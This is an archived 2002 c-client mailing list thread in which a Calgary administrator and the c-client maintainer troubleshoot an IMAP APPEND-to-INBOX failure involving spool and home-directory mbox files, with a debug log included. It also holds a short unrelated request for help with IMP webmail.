8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: > On Fri, 5 Jul 2002, Deb Teale wrote: > > It may be that it tries to > > write to /var/spool/mail and if an entry isn't there it fails NO COPY > > failed: Not a UNIX-format mailbox: inbox after 81 messages. > > That error message generally means that the user's UNIX-format INBOX file > exists, but it is not in proper traditional UNIX mail format. So, when > that happens, you should investigate to see what the mail file looks like. > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. Marc, the file does not exist. Perhaps what I am needing is a patch to have it check the home directory mbox file if the /var/spool/mail entry doesn't exist. (It used to work prior to imapd2000-by accident or design). Reading INBOX slurps the /var/spool/mail messages into mbox if they exist but apparently writing to INBOX if the /var/spool/mail entry does NOT exist fails to instead append to mbox in the home directory. Deb From pinedev@shivax2.cac.washington.edu Mon Jul 8 09:44:50 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 8 Jul 2002 09:44:50 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g68Gin2P013429 for ; Mon, 8 Jul 2002 09:44:49 -0700 Received: FROM mx1.cac.washington.edu BY mailscan5.cac.washington.edu ; Mon Jul 08 09:44:49 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g68Gimot003788 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 8 Jul 2002 09:44:49 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g68GhxlZ005734; Mon, 8 Jul 2002 09:43:59 -0700 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g68GgONn031174 for ; Mon, 8 Jul 2002 09:42:24 -0700 Received: FROM mxu3.u.washington.edu BY mailscan5.cac.washington.edu ; Mon Jul 08 09:42:23 2002 -0700 Received: from Ikkoku-Kan.Panda.COM (ikkoku-kan.panda.com [206.124.149.114] (may be forged)) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g68GgMbq023117 for ; Mon, 8 Jul 2002 09:42:23 -0700 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id JAA27610; Mon, 8 Jul 2002 09:42:01 -0700 (PDT) Message-Id: Date: Mon, 8 Jul 2002 09:37:56 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Deb Teale Cc: c-client@u.washington.edu Subject: Re: Unix-format mbox problem when no /var/spool/mail entry In-Reply-To: <3D29AFBD.557395D8@ucalgary.ca> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 08 Jul 2002 09:29:01 -0600, Deb Teale wrote: > Marc, the file does not exist. Perhaps what I am needing is a patch to > have it check the home directory mbox file if the /var/spool/mail entry > doesn't exist. (It used to work prior to imapd2000-by accident or design). > Reading INBOX slurps the /var/spool/mail messages into mbox if they exist > but apparently writing to INBOX if the /var/spool/mail entry does NOT exist > fails to instead append to mbox in the home directory. I just tried the following tests: APPEND to INBOX when no spool or mbox file exists APPEND to INBOX when spool exists but no mbox APPEND to INBOX when mbox exists but no spool COPY to INBOX when no spool or mbox file exists COPY to INBOX when spool exists but no mbox COPY to INBOX when mbox exists but no spool In all cases, the expected behavior happened. So, what is happening to you is mysterious to me. Have you made any modifications to imapd which may in some way be implicated? Have you tried the latest imap 2002 development snapshot to see if the problem occurs there? From pinedev@shivax2.cac.washington.edu Mon Jul 8 13:08:44 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 8 Jul 2002 13:08:44 -0700 (PDT) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g68K8i2P022074 for ; Mon, 8 Jul 2002 13:08:44 -0700 Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Mon Jul 08 13:08:43 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g68K8got011083 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 8 Jul 2002 13:08:43 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g68K7iR8028238; Mon, 8 Jul 2002 13:07:44 -0700 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g68K5JNn063724 for ; Mon, 8 Jul 2002 13:05:19 -0700 Received: FROM mxu1.u.washington.edu BY mailscan2.cac.washington.edu ; Mon Jul 08 13:05:19 2002 -0700 Received: from mserve1.acs.ucalgary.ca (mserve1.acs.ucalgary.ca [136.159.34.51]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g68K5IR8032313 for ; Mon, 8 Jul 2002 13:05:18 -0700 Received: from vs2.acs.ucalgary.ca (vs2.acs.ucalgary.ca [136.159.34.109]) by mserve1.acs.ucalgary.ca (Postfix) with ESMTP id 6838C1359; Mon, 8 Jul 2002 14:05:16 -0600 (MDT) Received: from ucalgary.ca (mserve2.acs.ucalgary.ca [136.159.34.55]) by vs2.acs.ucalgary.ca (8.11.6/8.11.6) with ESMTP id g68K22S26649; Mon, 8 Jul 2002 14:02:02 -0600 Received: from teale.acs.ucalgary.ca(136.159.22.142) by mserve2.acs.ucalgary.ca via smap (V2.0) id ZZ951647; Mon, 8 Jul 2002 14:04:38 -0600 Message-Id: <3D29F04C.143F74A@ucalgary.ca> Date: Mon, 08 Jul 2002 14:04:29 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Deb Teale To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: Unix-format mbox problem when no /var/spool/mail entry References: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="------------EA3C4F6D589775AFB4C4C2FB" X-Accept-Language: en,fr-CA X-MailScanner: Found to be clean X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --------------EA3C4F6D589775AFB4C4C2FB Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Mark Crispin wrote: > On Mon, 08 Jul 2002 09:29:01 -0600, Deb Teale wrote: > > Marc, the file does not exist. Perhaps what I am needing is a patch to > > have it check the home directory mbox file if the /var/spool/mail entry > > doesn't exist. (It used to work prior to imapd2000-by accident or design). > > Reading INBOX slurps the /var/spool/mail messages into mbox if they exist > > but apparently writing to INBOX if the /var/spool/mail entry does NOT exist > > fails to instead append to mbox in the home directory. > > I just tried the following tests: > APPEND to INBOX when no spool or mbox file exists > APPEND to INBOX when spool exists but no mbox > APPEND to INBOX when mbox exists but no spool > COPY to INBOX when no spool or mbox file exists > COPY to INBOX when spool exists but no mbox > COPY to INBOX when mbox exists but no spool > > In all cases, the expected behavior happened. > > So, what is happening to you is mysterious to me. Have you made any > modifications to imapd which may in some way be implicated? Have you tried > the latest imap 2002 development snapshot to see if the problem occurs there? We haven't set access to write to /var/spool/mail but create an entry for those who are using filter which delivers there. postfix delivers to home directory mbox otherwise. Appends to other folders fine. The only local change is to check for a .locked file when opening to deny read of inbox. IMAP DEBUG 11:26:30 7/8: 00000002 OK [READ-WRITE] SELECT completed IMAP 11:26:30 7/8 mm_log babble: Mailbox is empty Opened folder "{iproxy2.acs.ucalgary.ca:143/imap/user=sikorski}inbox" with 0 messages Sorting by Arrival/reverse ---- MAIN_MENU_SCREEN ---- IMAP DEBUG 11:26:30 7/8: 00000003 NOOP IMAP DEBUG 11:26:30 7/8: 00000003 OK NOOP completed mm_list "Mail/oldinbox": delim: '/', , no inferiors, unmarked broach folder, name entered "oldinbox" About to open folder "oldinbox" inbox: "INBOX" Close - saved inbox state: max 0 === mm_exists(83,/u108/sikorski/Mail/oldinbox) called === Opened folder "/u108/sikorski/Mail/oldinbox" with 83 messages Sorting by Arrival/reverse ---- MAIL INDEX ---- ---- INDEX MANAGER ---- IMAP DEBUG 11:27:02 7/8: 00000004 LIST "" inbox IMAP DEBUG 11:27:02 7/8: * LIST (\NoInferiors) NIL INBOX mm_list "{iproxy.ucalgary.ca}INBOX": delim: 'X', , no inferiors IMAP DEBUG 11:27:02 7/8: 00000004 OK LIST completed IMAP DEBUG 11:27:02 7/8: 00000005 APPEND inbox () "18-Mar-2002 10:10:09 -0700" {756} IMAP DEBUG 11:27:02 7/8: + Ready for argument IMAP DEBUG 11:27:02 7/8: IMAP DEBUG 11:27:02 7/8: 00000005 NO APPEND failed: Not a UNIX-format mailbox: inbox IMAP 11:27:02 7/8 mm_log ERROR: APPEND failed: Not a UNIX-format mailbox: inbox FAILED save of msg 76 (c-client sequence #) IMAP DEBUG 11:27:13 7/8: 00000006 APPEND saved-messages () "18-Mar-2002 10:10:09 -0700" {756} IMAP DEBUG 11:27:13 7/8: + Ready for argument IMAP DEBUG 11:27:13 7/8: IMAP DEBUG 11:27:14 7/8: 00000006 OK APPEND completed MAIL_CMD: quit --------------EA3C4F6D589775AFB4C4C2FB Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit  

    Mark Crispin wrote:

    On Mon, 08 Jul 2002 09:29:01 -0600, Deb Teale wrote:
    > Marc,  the file does not exist.    Perhaps what I am needing is a patch to
    > have it check the home directory mbox file if the /var/spool/mail entry
    > doesn't exist.  (It used to work prior to imapd2000-by accident or design).
    > Reading INBOX slurps the /var/spool/mail messages into mbox if they exist
    > but apparently writing to INBOX if the /var/spool/mail entry does NOT exist
    > fails to instead append to mbox in the home directory.

    I just tried the following tests:
     APPEND to INBOX when no spool or mbox file exists
     APPEND to INBOX when spool exists but no mbox
     APPEND to INBOX when mbox exists but no spool
     COPY to INBOX when no spool or mbox file exists
     COPY to INBOX when spool exists but no mbox
     COPY to INBOX when mbox exists but no spool

    In all cases, the expected behavior happened.

    So, what is happening to you is mysterious to me.  Have you made any
    modifications to imapd which may in some way be implicated?  Have you tried
    the latest imap 2002 development snapshot to see if the problem occurs there?

    We haven't set access to write to /var/spool/mail but create an entry for those who are using filter which delivers there.   postfix delivers to home directory mbox otherwise.   Appends to other folders fine.

    The only local change is to check for a .locked file when opening to deny read of inbox.

    IMAP DEBUG 11:26:30 7/8: 00000002 OK [READ-WRITE] SELECT completed
    IMAP 11:26:30 7/8 mm_log babble: Mailbox is empty
    Opened folder "{iproxy2.acs.ucalgary.ca:143/imap/user=sikorski}inbox"
    with 0 messages
    Sorting by Arrival/reverse
     

        ---- MAIN_MENU_SCREEN ----
    IMAP DEBUG 11:26:30 7/8: 00000003 NOOP
    IMAP DEBUG 11:26:30 7/8: 00000003 OK NOOP completed
    mm_list "Mail/oldinbox": delim: '/', , no inferiors, unmarked
    broach folder, name entered "oldinbox"
    About to open folder "oldinbox"    inbox: "INBOX"
    Close - saved inbox state: max 0
    === mm_exists(83,/u108/sikorski/Mail/oldinbox) called ===
    Opened folder "/u108/sikorski/Mail/oldinbox" with 83 messages
    Sorting by Arrival/reverse
     

     ---- MAIL INDEX ----
     

     ---- INDEX MANAGER ----
    IMAP DEBUG 11:27:02 7/8: 00000004 LIST "" inbox
    IMAP DEBUG 11:27:02 7/8: * LIST (\NoInferiors) NIL INBOX
    mm_list "{iproxy.ucalgary.ca}INBOX": delim: 'X', , no inferiors
    IMAP DEBUG 11:27:02 7/8: 00000004 OK LIST completed
    IMAP DEBUG 11:27:02 7/8: 00000005 APPEND inbox () "18-Mar-2002 10:10:09
    -0700" {756}
    IMAP DEBUG 11:27:02 7/8: + Ready for argument
    IMAP DEBUG 11:27:02 7/8:
    IMAP DEBUG 11:27:02 7/8: 00000005 NO APPEND failed: Not a UNIX-format
    mailbox: inbox
    IMAP 11:27:02 7/8 mm_log ERROR: APPEND failed: Not a UNIX-format mailbox:
    inbox
    FAILED save of msg 76 (c-client sequence #)
    IMAP DEBUG 11:27:13 7/8: 00000006 APPEND saved-messages () "18-Mar-2002
    10:10:09 -0700" {756}
    IMAP DEBUG 11:27:13 7/8: + Ready for argument
    IMAP DEBUG 11:27:13 7/8:
    IMAP DEBUG 11:27:14 7/8: 00000006 OK APPEND completed
    MAIL_CMD: quit
     
      --------------EA3C4F6D589775AFB4C4C2FB-- From pinedev@shivax2.cac.washington.edu Mon Jul 8 17:22:02 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 8 Jul 2002 17:22:02 -0700 (PDT) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g690M22P031947 for ; Mon, 8 Jul 2002 17:22:02 -0700 Received: FROM mx1.cac.washington.edu BY mailscan6.cac.washington.edu ; Mon Jul 08 17:22:01 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g690LxoF019525 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 8 Jul 2002 17:21:59 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g690LJqt012800; Mon, 8 Jul 2002 17:21:19 -0700 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g690KJNn056382 for ; Mon, 8 Jul 2002 17:20:19 -0700 Received: FROM mxu1.u.washington.edu BY mailscan5.cac.washington.edu ; Mon Jul 08 17:20:18 2002 -0700 Received: from agentis.com.au (ns.agentis.com.au [192.35.59.253]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g690KGR8000955 for ; Mon, 8 Jul 2002 17:20:17 -0700 Received: from phoenix (phoenix.agentis.net [192.35.59.101]) by agentis.com.au (8.11.2/8.11.2) with SMTP id g690KF504494 for ; Tue, 9 Jul 2002 10:20:15 +1000 Message-Id: Date: Tue, 9 Jul 2002 10:20:14 +1000 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Dean Tran" To: Subject: IMP/Webmail problem MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi All, I need your helps, pls. I have recently upgraded Linux from 7.1 to 7.3 as the result the IMP or Webmail stops working. It was working on RH7.1. Would you show me how to get it working again ? Many Thanks Best Regards, Dean Tran Email: dtran@agentissoftware.com Agentis International Phone: +61 3 83412600 Level 2, 33 Lincoln Square South, Direct: +61 3 83412615 Carlton, Victoria, 3053, Australia Fax: +61 3 83412626 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jul 8 19:12:50 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 8 Jul 2002 19:12:50 -0700 (PDT) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g692Co2P001965 for ; Mon, 8 Jul 2002 19:12:50 -0700 Received: FROM mx1.cac.washington.edu BY mailscan6.cac.washington.edu ; Mon Jul 08 19:12:50 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g692CnoF021845 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 8 Jul 2002 19:12:49 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g692CHqt013040; Mon, 8 Jul 2002 19:12:18 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g692BLNn064324 for ; Mon, 8 Jul 2002 19:11:21 -0700 Received: FROM mxu3.u.washington.edu BY mailscan3.cac.washington.edu ; Mon Jul 08 19:11:21 2002 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g692BLbr005497 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 8 Jul 2002 19:11:21 -0700 Received: from mailscan-out1.cac.washington.edu (mailscan-out1.cac.washington.edu [140.142.32.17]) by mxout1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g692BLR6026014 for ; Mon, 8 Jul 2002 19:11:21 -0700 Received: FROM smtp.washington.edu BY mailscan-out1.cac.washington.edu ; Mon Jul 08 19:11:20 2002 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g692BKTb022122 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 8 Jul 2002 19:11:20 -0700 Message-Id: Date: Mon, 8 Jul 2002 19:11:21 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Deb Teale Cc: c-client@u.washington.edu Subject: Re: Unix-format mbox problem when no /var/spool/mail entry In-Reply-To: <3D29F04C.143F74A@ucalgary.ca> References: <3D29F04C.143F74A@ucalgary.ca> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 8 Jul 2002, Deb Teale wrote: > We haven't set access to write to /var/spool/mail but create an entry for those > who are using filter which delivers there. postfix delivers to home directory > mbox otherwise. Appends to other folders fine. To clarify: The user can not create a file owned by him/her on /var/spool/mail? If there is also no mbox file in the user's home directory, I can believe that you might get a mysterious error like this. c-client never creates an mbox file. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Tue Jul 9 09:40:37 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 9 Jul 2002 09:40:37 -0700 (PDT) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g69Geb2P023785 for ; Tue, 9 Jul 2002 09:40:37 -0700 Received: FROM mx2.cac.washington.edu BY mailscan6.cac.washington.edu ; Tue Jul 09 09:40:36 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g69GeYpB024877 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 9 Jul 2002 09:40:36 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g69GdtR8031218; Tue, 9 Jul 2002 09:39:55 -0700 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g69GZhNn039652 for ; Tue, 9 Jul 2002 09:35:43 -0700 Received: FROM mxu2.u.washington.edu BY mailscan5.cac.washington.edu ; Tue Jul 09 09:35:43 2002 -0700 Received: from mserve1.acs.ucalgary.ca (mserve1.acs.ucalgary.ca [136.159.34.51]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g69GZhJX022041 for ; Tue, 9 Jul 2002 09:35:43 -0700 Received: from vs2.acs.ucalgary.ca (vs2.acs.ucalgary.ca [136.159.34.109]) by mserve1.acs.ucalgary.ca (Postfix) with ESMTP id 5E3D61436; Tue, 9 Jul 2002 10:35:39 -0600 (MDT) Received: from ucalgary.ca (mserve2.acs.ucalgary.ca [136.159.34.55]) by vs2.acs.ucalgary.ca (8.11.6/8.11.6) with ESMTP id g69GWAS16837; Tue, 9 Jul 2002 10:32:10 -0600 Received: from teale.acs.ucalgary.ca(136.159.22.142) by mserve2.acs.ucalgary.ca via smap (V2.0) id ZZ867422; Tue, 9 Jul 2002 10:35:08 -0600 Message-Id: <3D2B10AE.B2DCF9F2@ucalgary.ca> Date: Tue, 09 Jul 2002 10:34:54 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Deb Teale To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: Unix-format mbox problem when no /var/spool/mail entry References: <3D29F04C.143F74A@ucalgary.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en,fr-CA X-MailScanner: Found to be clean X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: > To clarify: > > The user can not create a file owned by him/her on /var/spool/mail? Don't want the user to create a file in /var/spool/mail. Want imap to skip this if it doesn't exist and go right to the mbox. > > > If there is also no mbox file in the user's home directory, I can believe > that you might get a mysterious error like this. c-client never creates > an mbox file. The mbox exists, is readable, etc, but is not appendable. Probably due to the condition that it tries to append /var/spool/mail instead. Want it to skip that part if it can't find it there and go right to the mbox I guess is what I am looking for. > > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Tue Jul 9 11:22:12 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 9 Jul 2002 11:22:12 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g69IMB2P029178 for ; Tue, 9 Jul 2002 11:22:12 -0700 Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Tue Jul 09 11:22:11 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g69IM6pB028635 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 9 Jul 2002 11:22:07 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g69ILIeo090864; Tue, 9 Jul 2002 11:21:18 -0700 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g69HWBNn030172 for ; Tue, 9 Jul 2002 10:32:11 -0700 Received: FROM mxu4.u.washington.edu BY mailscan2.cac.washington.edu ; Tue Jul 09 10:32:11 2002 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g69HWBlr004129 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 9 Jul 2002 10:32:11 -0700 Received: from mailscan-out2.cac.washington.edu (mailscan-out2.cac.washington.edu [140.142.33.17]) by mxout4.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g69HWAS4027305 for ; Tue, 9 Jul 2002 10:32:10 -0700 Received: FROM smtp.washington.edu BY mailscan-out2.cac.washington.edu ; Tue Jul 09 10:32:09 2002 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g69HW9Tb001440 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 9 Jul 2002 10:32:09 -0700 Message-Id: Date: Tue, 9 Jul 2002 10:32:10 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Deb Teale Cc: c-client@u.washington.edu Subject: Re: Unix-format mbox problem when no /var/spool/mail entry In-Reply-To: <3D2B10AE.B2DCF9F2@ucalgary.ca> References: <3D29F04C.143F74A@ucalgary.ca> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 9 Jul 2002, Deb Teale wrote: > Don't want the user to create a file in /var/spool/mail. Want imap to > skip this if it doesn't exist and go right to the mbox. You'll have to modify some code. c-client does not support the environment you want; therefore you must modify it to do so. You have a non-standard environment. By definition, INBOX always exists and is appendable. mbox is *never* created by c-client (and people would be very angry if it was); it must be explicitly created by some external entity. Therefore, if mbox does not exist, c-client must append to the file in /var/spool/mail, creating it if necessary. > The mbox exists, is readable, etc, but is not appendable. Why is that? In any case, the environment that you describe is non-standard, and c-client does not support it out of the box. The only way to support it is to modify c-client. Fortunately, you have sources. Unfortunately, the modifications aren't going to be as trivial as changing a single line someplace. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Tue Jul 9 13:10:14 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 9 Jul 2002 13:10:14 -0700 (PDT) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g69KAD2P001162 for ; Tue, 9 Jul 2002 13:10:13 -0700 Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Tue Jul 09 13:10:12 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g69KABoF014489 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 9 Jul 2002 13:10:12 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g69K9cR8015402; Tue, 9 Jul 2002 13:09:38 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g69K6sNn012526 for ; Tue, 9 Jul 2002 13:08:00 -0700 Received: FROM mxu3.u.washington.edu BY mailscan3.cac.washington.edu ; Tue Jul 09 13:06:53 2002 -0700 Received: from mserve1.acs.ucalgary.ca (mserve1.acs.ucalgary.ca [136.159.34.51]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g69K6qbq013133 for ; Tue, 9 Jul 2002 13:06:52 -0700 Received: from vs2.acs.ucalgary.ca (vs2.acs.ucalgary.ca [136.159.34.109]) by mserve1.acs.ucalgary.ca (Postfix) with ESMTP id D19491256; Tue, 9 Jul 2002 14:06:48 -0600 (MDT) Received: from ucalgary.ca (mserve2.acs.ucalgary.ca [136.159.34.55]) by vs2.acs.ucalgary.ca (8.11.6/8.11.6) with ESMTP id g69K3KS21168; Tue, 9 Jul 2002 14:03:20 -0600 Received: from teale.acs.ucalgary.ca(136.159.22.142) by mserve2.acs.ucalgary.ca via smap (V2.0) id ZZ914889; Tue, 9 Jul 2002 14:05:17 -0600 Message-Id: <3D2B41EF.479BACB1@ucalgary.ca> Date: Tue, 09 Jul 2002 14:05:03 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Deb Teale To: Mark Crispin Cc: 